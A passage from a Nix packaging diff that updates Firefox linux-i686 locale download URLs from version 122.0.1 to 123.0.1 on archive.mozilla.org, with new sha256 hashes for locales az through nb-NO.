"46c659a452700f3cb2170c6ee3387eec173f33d8f3fdecb407dbabca75c96eef"; + sha256 = "8c08795156f5abb31583e0bfbde799cc8ae59af0708a9ce51f493f7fd25a9815"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/az/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/az/firefox-123.0.1.tar.bz2"; locale = "az"; arch = "linux-i686"; - sha256 = "26c2995c9d4445e9fa8b3cb677600bffee8de65195d51f7f8f9b53e3233ce4d0"; + sha256 = "8fd37144314defb7a619fda9c2c046a38010e9e484dfe7e3eae8d05ffb6e8ec8"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/be/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/be/firefox-123.0.1.tar.bz2"; locale = "be"; arch = "linux-i686"; - sha256 = "c69b550e4c535a70bf56b0cc6293d56258c287073b5363abbcd02c67ba89d35c"; + sha256 = "c02548b20eb63470996c48d7e1c8f20c1190885016553df43a567b284da98494"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/bg/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/bg/firefox-123.0.1.tar.bz2"; locale = "bg"; arch = "linux-i686"; - sha256 = "934f9ad4a956f8b123cb3df5611ddb9335e74793de149d68ec326e297b003553"; + sha256 = "35b37062c04e3f09ebe01507129ff055e1c03c370cdab86f10147c5dcb3c8a18"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/bn/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/bn/firefox-123.0.1.tar.bz2"; locale = "bn"; arch = "linux-i686"; - sha256 = "f87a72cc2ad4f1252a68f9f36fe6ac1c0ac0e855d8f69ead51a44e7c9ae8dba6"; + sha256 = "863664b359fa105d10aeee1406f4b9c676b51591ae8c7f1f711024617a75cbda"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/br/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/br/firefox-123.0.1.tar.bz2"; locale = "br"; arch = "linux-i686"; - sha256 = "b7a173f62afa300ac17f2cb4e37cbbdc96d8a57392b9ff2c4017122582a3de25"; + sha256 = "b799947741eb130fe9de449751fddbea7df646374d9f25e36c015d789bb957d0"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/bs/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/bs/firefox-123.0.1.tar.bz2"; locale = "bs"; arch = "linux-i686"; - sha256 = "0419834292bb48d0b1512d3939d999937f9cdc5cc2c0c4417ec0e378c23fd9d0"; + sha256 = "59139a0284d412444c52f6e740e145c1119368de51d53f544b60e46c8cfe5a99"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ca-valencia/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ca-valencia/firefox-123.0.1.tar.bz2"; locale = "ca-valencia"; arch = "linux-i686"; - sha256 = "733def892b1a1455a86ed16f9d6ffacb4d6f4db7b84abf6b480b689ec0db435f"; + sha256 = "4061fe9e39d668a99ef633f6a1de0c86b98c9ab2397fa309cf6fc855624c7862"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ca/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ca/firefox-123.0.1.tar.bz2"; locale = "ca"; arch = "linux-i686"; - sha256 = "318795845f45d3fd17496fead10cdf283909d00b4235a663372967b6fa4b4775"; + sha256 = "38be38bd053c5a77429a1e645e2c7b380c25e04c51f8aa180053e73e4bc2ac55"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/cak/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/cak/firefox-123.0.1.tar.bz2"; locale = "cak"; arch = "linux-i686"; - sha256 = "ebb2d1044837615b2ff3ea53e68051abeb9cba027c046f26a3a728f94115df9c"; + sha256 = "d0fdce0349a7c28a46457561a750b7219b26af9fef51d9ffb2cf0ffcd52500f6"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/cs/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/cs/firefox-123.0.1.tar.bz2"; locale = "cs"; arch = "linux-i686"; - sha256 = "9d26dda1a043c926501d9d6c33474de1615dd340c94e8c742d10602fda9cf0e8"; + sha256 = "bbeca20b9218d297f48258bb4b12e63b9568acaac09f482b5ccb17c554a8fc0a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/cy/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/cy/firefox-123.0.1.tar.bz2"; locale = "cy"; arch = "linux-i686"; - sha256 = "5bd8d1d29d0545756ea6b11feb116f09daaa67b9087cafcf6ca1a0e71ad9504f"; + sha256 = "b3f7f2750b3d8caf498e8253f8e1fdc7266d1df2a4bb1502590731c7cf8498fd"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/da/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/da/firefox-123.0.1.tar.bz2"; locale = "da"; arch = "linux-i686"; - sha256 = "0f46031ddd3d88d7f2cd28377d0bd6b3acc8cb2b2d5cfb0726083bc45136f825"; + sha256 = "6c8541934c50eb3fc4438ee1cb7f52c7f4deace8a67da26dfbc560d7368a904e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/de/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/de/firefox-123.0.1.tar.bz2"; locale = "de"; arch = "linux-i686"; - sha256 = "96fe952a4518d40b3e66fad2fe6d785f74e82f6cea30a36c9952a91f934cdda5"; + sha256 = "72c112e3ff388a55277003deb76b1dad61362687fb86adb19bc06f55f1755bb4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/dsb/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/dsb/firefox-123.0.1.tar.bz2"; locale = "dsb"; arch = "linux-i686"; - sha256 = "d2733aadd255232f06095af0b3c5821832648a038eddfe5442e78ec5ec13e898"; + sha256 = "00921f6914afbe436f687b6f0eba5b7a1a7b27f7dc5cb28804f5917c76d025fa"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/el/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/el/firefox-123.0.1.tar.bz2"; locale = "el"; arch = "linux-i686"; - sha256 = "81f92fcfc5326e8a3838c62d899a4b03c0af5608ef9b553af467dbd0fe46234a"; + sha256 = "ef8e9803773aeeefccf081d994f9c29492e3566cfdfd21b7d0f0ec2d815dcce4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/en-CA/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/en-CA/firefox-123.0.1.tar.bz2"; locale = "en-CA"; arch = "linux-i686"; - sha256 = "c503f40b269ee94336987aefffd38ebb545f3e126d98e24be3f17a66b57d2dbd"; + sha256 = "75c95b8e6f8c6c9f038e69b5520e8bdb37b9df3c23a69b47a03e7ff8159c7eb3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/en-GB/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/en-GB/firefox-123.0.1.tar.bz2"; locale = "en-GB"; arch = "linux-i686"; - sha256 = "f4d77eb0178cae7fb8c4f01a4442a172b3d69674e9fc12e2bb1afa9a95c13c5b"; + sha256 = "3a7b577b98e17a69f7b60085645f59a3ea9488ecca7df50e1fd582f6a2435392"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/en-US/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/en-US/firefox-123.0.1.tar.bz2"; locale = "en-US"; arch = "linux-i686"; - sha256 = "962bd73ee0f4769c6dc16c93d8ca55f76cff7868e59ada6041e351d3fdefc088"; + sha256 = "8b07eb35545ae8dc929c83211429c3ad983754ff4a3b9d7fe53c593b8b7361b2"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/eo/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/eo/firefox-123.0.1.tar.bz2"; locale = "eo"; arch = "linux-i686"; - sha256 = "25365b28eb2ca306fdd84ed3770f31b1ce1a90a07f7ab5c4dcce259b50637bfa"; + sha256 = "f581fc6f4105d1feb4831f18ee252fc0e60c71f52661f208323c6631f1f215ea"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/es-AR/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/es-AR/firefox-123.0.1.tar.bz2"; locale = "es-AR"; arch = "linux-i686"; - sha256 = "930be4e579d4a750c0652ef51c2a4e57afae57715ee124479a448ac1a5e0022e"; + sha256 = "72e93870ee29b0ca9ff82e3ac8b8ae653cc3209a16d4f9db6ceb495976b744c4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/es-CL/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/es-CL/firefox-123.0.1.tar.bz2"; locale = "es-CL"; arch = "linux-i686"; - sha256 = "421e2c9b51cc4290a42bc19914e76d85aa9f67eeefbce4898c3de5a5744e92e8"; + sha256 = "5412d2301a9d0ada3d288c3574229232d79731d987ad4e3e66ba34be4fe26e0d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/es-ES/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/es-ES/firefox-123.0.1.tar.bz2"; locale = "es-ES"; arch = "linux-i686"; - sha256 = "e1d1456c80a1b05a698e7391c8d147e0d8b02693fd9d9f39ecd2c3df2a497804"; + sha256 = "c502e7882ac81ee33afef3f3261460f5f90067541041b643c7f67b8a275a9962"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/es-MX/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/es-MX/firefox-123.0.1.tar.bz2"; locale = "es-MX"; arch = "linux-i686"; - sha256 = "97653e79fbc1420c423cd125f92f445c95c23a00c33f4753424d3812d6b9ff78"; + sha256 = "711b2154e3e9c16b14ca52125b043c21e626b3a7125374f0716d070a6c1e20b5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/et/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/et/firefox-123.0.1.tar.bz2"; locale = "et"; arch = "linux-i686"; - sha256 = "c99a9d96f26fdbe598c5bd4c3e85dc91688d2e38568bc2464a3ba26456a56d84"; + sha256 = "b305264b43b0c7d69c61a01cd8a03497d423fdeaa2fc7a78f0599a61588f2506"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/eu/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/eu/firefox-123.0.1.tar.bz2"; locale = "eu"; arch = "linux-i686"; - sha256 = "80fe7311c034ee2fb5a1c5b13687945ddddbe6516b7ed55a3bc1b79c43555faf"; + sha256 = "39d4b2038a53613ed33658eeb57b601003c2e66d73b4f8cc3b146a809a64993e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/fa/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/fa/firefox-123.0.1.tar.bz2"; locale = "fa"; arch = "linux-i686"; - sha256 = "4823668ef67f88cafcc63f85ae8e9bf4438ad6ed9ab78c229cb6d69b2e64592d"; + sha256 = "89a4f6e36192b45afba98ecae5095a0e572e7fd54d5c654a34bbdda144f9d5c3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ff/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ff/firefox-123.0.1.tar.bz2"; locale = "ff"; arch = "linux-i686"; - sha256 = "3ce1d6d0d778c1b54238cfe49ce840696b434def6bfc4fe8c9c2ccf40ed9a871"; + sha256 = "7432c3f6cc6245fa579c62f854d7df3e1a56b58c517265c4281d3e023ae3276c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/fi/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/fi/firefox-123.0.1.tar.bz2"; locale = "fi"; arch = "linux-i686"; - sha256 = "adbfe2b24b91c9eb995e6c313b14924912d8ea4bd61ff9703f1a1647f3ecb228"; + sha256 = "6de09fe1340eb8ec38d0a906eda6a593c4ed19c6d376c0920572f60b410ae365"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/fr/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/fr/firefox-123.0.1.tar.bz2"; locale = "fr"; arch = "linux-i686"; - sha256 = "9bdec1fab6941c94b1886ab24698328fd860d87fde22dc406b51cc974a5d9984"; + sha256 = "8d94c283a8b4714d9c62791e0241905e75b7d84848f474f989ecb72ccc91d11c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/fur/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/fur/firefox-123.0.1.tar.bz2"; locale = "fur"; arch = "linux-i686"; - sha256 = "108ee2a6feef00db395d1d600f110c9cc37991bac9438b9e97d5f4ffa18b45a1"; + sha256 = "7902934807620dfc8eed6580fe14f25a36642b389cd179b37a19a3e549880931"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/fy-NL/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/fy-NL/firefox-123.0.1.tar.bz2"; locale = "fy-NL"; arch = "linux-i686"; - sha256 = "ebc3f4fda7d7988b627762503dca60a58612b5ed8bffec49d993f19a3bb63961"; + sha256 = "fd8277c928a767d2d2ea21e4485e653d3d562d8ae64b4aab7a3f02fabea0f312"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ga-IE/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ga-IE/firefox-123.0.1.tar.bz2"; locale = "ga-IE"; arch = "linux-i686"; - sha256 = "dbe96f67558387dfb3c3ec5077838c71b9bb67e10b81db0be618159da08bf7e6"; + sha256 = "7aefd5b2507205321276387a11ec80ef3ff3dd7f2d9335c084f7cc3374a7022f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/gd/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/gd/firefox-123.0.1.tar.bz2"; locale = "gd"; arch = "linux-i686"; - sha256 = "99117b23101e08d0c5211164f7037ea9f86abbbfcd86a39771a8a96e3d513b36"; + sha256 = "53b37078c2c1f12514519ca6fbcc592e4f5761d233698f7425a652e7f3c1910d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/gl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/gl/firefox-123.0.1.tar.bz2"; locale = "gl"; arch = "linux-i686"; - sha256 = "a87f29ceedb296ee6ddcd7ae12a2d76ec0a8ac84e1053ca5574a19d3c89dc3b0"; + sha256 = "46389d1f1b6f38cab4a4c4d5e9e4c0c2ffd2ec838ec009f96d728610f2eed4d8"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/gn/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/gn/firefox-123.0.1.tar.bz2"; locale = "gn"; arch = "linux-i686"; - sha256 = "6a9c258ef059b08a4efdedbb563bf7ce5eb2012f7555e9396646895b0dd49455"; + sha256 = "0e8c50f36761760933fa06ee6990fcb6dc100b215a23007493858206d40dcd6a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/gu-IN/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/gu-IN/firefox-123.0.1.tar.bz2"; locale = "gu-IN"; arch = "linux-i686"; - sha256 = "4f1c540295696288e48c60e09127149040f0855ef18fdce807147295fb10edb1"; + sha256 = "6ddd0f83093b632378c68e8f4cfc69bbebb1c89eb6d0373569a13bc29968dba9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/he/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/he/firefox-123.0.1.tar.bz2"; locale = "he"; arch = "linux-i686"; - sha256 = "e579f5746ac7c33aac50ed1c16b414c3c6689ad6b7a9168978d01a619db6a64d"; + sha256 = "3e9d5e9c0f52dbde990a7887f7a19e7d04758c4795ccde188325ebb87a9d12c6"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/hi-IN/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/hi-IN/firefox-123.0.1.tar.bz2"; locale = "hi-IN"; arch = "linux-i686"; - sha256 = "51f89a45ecab2d9d84770bca4b6984ebeaf3149021ba048ef8344aae73d1d00a"; + sha256 = "e50f4c08d891cf2bce19b3ac18f383059cb327a2dc859143dc2b30028a80cabd"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/hr/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/hr/firefox-123.0.1.tar.bz2"; locale = "hr"; arch = "linux-i686"; - sha256 = "e21df40e75be3838c9745187c96614cb5ceb1607a7e70c3260b8bbf90c361655"; + sha256 = "637b0447fbbf30102b1cb8a7d0132a3e9886b97120c0d7133a72e4883fb287bd"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/hsb/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/hsb/firefox-123.0.1.tar.bz2"; locale = "hsb"; arch = "linux-i686"; - sha256 = "443d403f438967426e342dc02291070208e3263e5f1e7df20e1a8fe27e367c3e"; + sha256 = "60baad0c3b3a9b173be7a16937b745f0ff43e2a1ae57bede664034396712744b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/hu/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/hu/firefox-123.0.1.tar.bz2"; locale = "hu"; arch = "linux-i686"; - sha256 = "81a2efeef635fe56424bce4fe384dd478b6f661898632f6f7516a1e438897100"; + sha256 = "f0394b4af70b735da9ed1135f83e21e06195c3cc51727a82fb07c3e300619b5f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/hy-AM/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/hy-AM/firefox-123.0.1.tar.bz2"; locale = "hy-AM"; arch = "linux-i686"; - sha256 = "e453ccbe2bc84c5ffa62e2e1770d74ccafb68fe6a19deeed128c76aa38b5bb76"; + sha256 = "0eb0ea21af508927116193cb58a5d7dc6f192434d39904fd19dbf0fbad0d0c24"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ia/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ia/firefox-123.0.1.tar.bz2"; locale = "ia"; arch = "linux-i686"; - sha256 = "4ba5033f0a92a53e32a8a6bfabf53c77630f6189ee3500a059b271621168a3df"; + sha256 = "428dfd19440af9ad37af7b7d26b1dbb143c10d980daf964ea4fb165096cc7943"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/id/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/id/firefox-123.0.1.tar.bz2"; locale = "id"; arch = "linux-i686"; - sha256 = "f910310581790dbe915283efec2fbb369f7c352c4a29ccd0026d71b7db915e21"; + sha256 = "fb778338b48e86d5840adc66be2c2bcf5bd41c0b80e4b238def7b8b77d3dd494"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/is/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/is/firefox-123.0.1.tar.bz2"; locale = "is"; arch = "linux-i686"; - sha256 = "da3bf47c84a32260e6e50c1b23d0013904343a87340eaa7748ffac07433a0472"; + sha256 = "ed5a8d23393d579655eb8d60e0cad4700accbc80f68b8b1427aa361eabbd8d29"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/it/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/it/firefox-123.0.1.tar.bz2"; locale = "it"; arch = "linux-i686"; - sha256 = "73b02550cd2e4df3e959b81dc0a37ab7ed8a4899717380a9d2a9685bd87393af"; + sha256 = "4fdcb0edda17eef781a748159739b4ebd01d552b3a1c98b54b0d60a5eb4b1aae"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ja/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ja/firefox-123.0.1.tar.bz2"; locale = "ja"; arch = "linux-i686"; - sha256 = "bd3074689b47b6f175279ee747e07f875ab6dfc9697921b36cf619c2b81bd65e"; + sha256 = "120ab2a4eb98215f3d1d184a4e607a90d6f597ba55db20abfc359325469b79da"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ka/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ka/firefox-123.0.1.tar.bz2"; locale = "ka"; arch = "linux-i686"; - sha256 = "bbcfd4ba5fd38e517e895dd781dc647dcaf44d45b87fc6fd70a382127bbfe95f"; + sha256 = "20572c346b606d69bfa7a34c469ef9ca3071dc8c0a717413fbf7709db9803f5e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/kab/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/kab/firefox-123.0.1.tar.bz2"; locale = "kab"; arch = "linux-i686"; - sha256 = "93a251b0c97c38612791548085e76678def6ebdca4f36273839613b646c48304"; + sha256 = "375bafa0bf1f91abc57a81bfc42de2d90ea0f0e6b9e32e739b5083dc770f8f04"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/kk/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/kk/firefox-123.0.1.tar.bz2"; locale = "kk"; arch = "linux-i686"; - sha256 = "d4e12d3c61e169e1ca6f69c43d3f8a00e9043062194ba8a5550ff77ab2ee32b3"; + sha256 = "4cde37c5a34417a3ca1c825fe9af4cb362cd43c1b3b523213c068f246b669e0b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/km/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/km/firefox-123.0.1.tar.bz2"; locale = "km"; arch = "linux-i686"; - sha256 = "e2faec4305bdeddb9b9062968d02aab6a5e1d2ac862fb2169ef242d2a8c90e8b"; + sha256 = "13f31c4707d503c70c6904b8d0e02c97b855f76c5bc4bcc677ede6aa77214502"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/kn/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/kn/firefox-123.0.1.tar.bz2"; locale = "kn"; arch = "linux-i686"; - sha256 = "7f1b1786fa92b2181e90c9512013d36adff640e6a6bd75a8108d8cf2152b7019"; + sha256 = "bc710e13c61e6ecc23a03591bc68066118f8319d75e1738273ce7a005f90a3a8"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ko/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ko/firefox-123.0.1.tar.bz2"; locale = "ko"; arch = "linux-i686"; - sha256 = "4ab5d6a270d1cc146e5452d4b82cd9f7f817879d78e29884091001c953b343bd"; + sha256 = "525fca14b1eb8a8ac03ba32ca997cb26ff32f36457a9a9cd3cf928c023b38102"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/lij/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/lij/firefox-123.0.1.tar.bz2"; locale = "lij"; arch = "linux-i686"; - sha256 = "a22deb4303a74ed45dd9f46c19543852aa87a4091910350b3e97645f651eb7e3"; + sha256 = "dadfa83f5d1ea88cc6386b321b6289feafd7fe09a274e083db325268b7fb536e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/lt/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/lt/firefox-123.0.1.tar.bz2"; locale = "lt"; arch = "linux-i686"; - sha256 = "944e1d73a6a1e97fb76c2b2b4e16d9af3a4f6e0d7d73bc57a092cee36f334dc4"; + sha256 = "aa8065020b395b82aa901c269f7015a75adfbae3abed8867083e16422b6d1743"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/lv/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/lv/firefox-123.0.1.tar.bz2"; locale = "lv"; arch = "linux-i686"; - sha256 = "d197fcdf8158132f3c3f7decd6fc94bd908ab98b78750431ffc569ba9509406a"; + sha256 = "6c85908500f514141cf5de25214fd2fa1887bd4854948aab44d4957a5c59a74a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/mk/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/mk/firefox-123.0.1.tar.bz2"; locale = "mk"; arch = "linux-i686"; - sha256 = "bf39f56a838ad8aff227c74c14aba89bddae5e31954458d1e721105e6bb8a36a"; + sha256 = "8bbd5dcc23c2db81cd09f193414f3adb551b3cf5b8c09322d2a56ab7ea5bd675"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/mr/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/mr/firefox-123.0.1.tar.bz2"; locale = "mr"; arch = "linux-i686"; - sha256 = "2b76724ff6a72eb1446d29aa5da5c2c3ded2d268b268ce1343ab97f2678a603a"; + sha256 = "b9eecfcac3a150cf4520e89da677cdbe1d76bee492c6b6b5fa0531ccd5320985"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ms/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ms/firefox-123.0.1.tar.bz2"; locale = "ms"; arch = "linux-i686"; - sha256 = "55779e68b20c726a3979551a359fb3a8625c1366e0707d060fb39a78bfb1cb0f"; + sha256 = "2f6e5d840eec34c9aab3cfc29fc0751ed20e8e77f5ea9711665c4a9272224c46"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/my/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/my/firefox-123.0.1.tar.bz2"; locale = "my"; arch = "linux-i686"; - sha256 = "19c5629516881675ebaa1bc22905616f5f7aa02105419fa38aa0fb31fef5ef44"; + sha256 = "30563c0672276bc22fecfa4b8f617a070cfdeac0dd37849d5bd0e8cbdb4eadf6"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/nb-NO/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/nb-NO/firefox-123.0.1.tar.bz2"; locale = "nb-NO"; arch = "linux-i686"; - sha256 = "de8eaed1e26851841b26a427c9fa1553edf3a0dc13a98a8f09ae658a0d1fbe67"; + sha256 = "c31b3e5d9f4501e15e9a2c24e4f6655e6aab41b5f684e0668f4db15af4632a3e"; } - { url = 